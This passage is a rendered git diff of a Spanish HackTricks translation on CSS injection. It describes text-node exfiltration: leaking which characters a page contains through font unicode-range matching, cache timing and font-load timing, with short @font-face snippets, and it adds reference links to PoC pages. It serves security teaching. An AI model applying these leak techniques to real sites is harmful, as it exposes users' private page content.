background: blue var(--leak);
|
||||
}
|
||||
```
|
||||
### Exfiltración de nodos de texto (III): filtrando el charset con una fuente predeterminada al ocultar elementos (sin requerir activos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (III): leaking the charset con una fuente por defecto ocultando elementos (no requiere recursos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Referencia:** Esto se menciona como [una solución fallida en este informe](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Referencia:** Esto se menciona como [una solución no exitosa en este writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Este caso es muy similar al anterior, sin embargo, en este caso el objetivo de hacer que **caracteres específicos sean más grandes que otros es ocultar algo** como un botón para que no sea presionado por el bot o una imagen que no se cargará. Así que podríamos medir la acción (o la falta de acción) y saber si un carácter específico está presente dentro del texto.
|
||||
Este caso es muy similar al anterior; sin embargo, en este caso el objetivo de **hacer que caracteres específicos sean más grandes que otros es ocultar algo** como un botón para que el bot no lo presione o una imagen que no se cargue. Así podríamos medir la acción (o la falta de acción) y saber si un carácter específico está presente en el texto.
|
||||
|
||||
### Exfiltración de nodos de texto (III): filtrando el charset por temporización de caché (sin requerir activos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Referencia:** Esto se menciona como [una solución fallida en este informe](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Referencia:** Esto se menciona como [una solución no exitosa en este writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
En este caso, podríamos intentar filtrar si un carácter está en el texto cargando una fuente falsa desde el mismo origen:
|
||||
En este caso, podríamos intentar leak si un carácter está en el texto cargando una fuente falsa desde el mismo origen:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
@ -724,15 +760,15 @@ src: url(/static/bootstrap.min.css?q=1);
|
||||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
Si hay una coincidencia, la **fuente se cargará desde `/static/bootstrap.min.css?q=1`**. Aunque no se cargará con éxito, el **navegador debería almacenarla en caché**, y incluso si no hay caché, hay un mecanismo de **304 no modificado**, por lo que la **respuesta debería ser más rápida** que otras cosas.
|
||||
Si hay una coincidencia, la **fuente se cargará desde `/static/bootstrap.min.css?q=1`**. Aunque no se cargará correctamente, el **navegador debería cachearla**, y aun si no hay caché, existe un mecanismo **304 not modified**, por lo que la **respuesta debería ser más rápida** que otras cosas.
|
||||
|
||||
Sin embargo, si la diferencia de tiempo de la respuesta en caché con respecto a la no en caché no es lo suficientemente grande, esto no será útil. Por ejemplo, el autor mencionó: Sin embargo, después de probar, descubrí que el primer problema es que la velocidad no es muy diferente, y el segundo problema es que el bot utiliza la bandera `disk-cache-size=1`, lo cual es realmente considerado.
|
||||
Sin embargo, si la diferencia de tiempo entre la respuesta caché y la no caché no es lo suficientemente grande, esto no será útil. Por ejemplo, el autor mencionó: Después de probarlo, encontré que el primer problema es que la velocidad no es muy diferente, y el segundo problema es que el bot usa la bandera `disk-cache-size=1`, lo cual es bastante cuidadoso.
|
||||
|
||||
### Exfiltración de nodos de texto (III): filtrando el charset al cargar cientos de "fuentes" locales (sin requerir activos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Referencia:** Esto se menciona como [una solución fallida en este informe](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Referencia:** Esto se menciona como [una solución no exitosa en este writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
En este caso, puedes indicar **CSS para cargar cientos de fuentes falsas** desde el mismo origen cuando ocurre una coincidencia. De esta manera, puedes **medir el tiempo** que toma y averiguar si un carácter aparece o no con algo como:
|
||||
En este caso puedes indicar **CSS para cargar cientos de fuentes falsas** desde el mismo origen cuando ocurra una coincidencia. De esta forma puedes **medir el tiempo** que tarda y averiguar si un carácter aparece o no con algo como:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
@ -747,7 +783,7 @@ browser.get(url)
|
||||
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
||||
time.sleep(30)
|
||||
```
|
||||
Entonces, si la fuente no coincide, se espera que el tiempo de respuesta al visitar el bot sea de aproximadamente 30 segundos. Sin embargo, si hay una coincidencia de fuente, se enviarán múltiples solicitudes para recuperar la fuente, lo que causará que la red tenga actividad continua. Como resultado, tomará más tiempo satisfacer la condición de parada y recibir la respuesta. Por lo tanto, el tiempo de respuesta se puede utilizar como un indicador para determinar si hay una coincidencia de fuente.
|
||||
Por lo tanto, si la fuente no coincide, se espera que el tiempo de respuesta al visitar el bot sea de aproximadamente 30 segundos. Sin embargo, si hay una coincidencia de fuente, se enviarán múltiples solicitudes para recuperar la fuente, provocando una actividad continua en la red. Como resultado, tardará más en cumplirse la condición de parada y en recibirse la respuesta. Por eso, el tiempo de respuesta puede usarse como indicador para determinar si hay una coincidencia de fuente.
|
||||
|
||||
## Referencias
|
||||
|
||||
@ -755,5 +791,11 @@ Entonces, si la fuente no coincide, se espera que el tiempo de respuesta al visi
|
||||
- [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
|
||||
- [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
|
||||
- [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
|
||||
- [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration)
|
||||
- [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda)
|
||||
- [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php)
|
||||
- [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if)
|
||||
- [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr)
|
||||
- [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user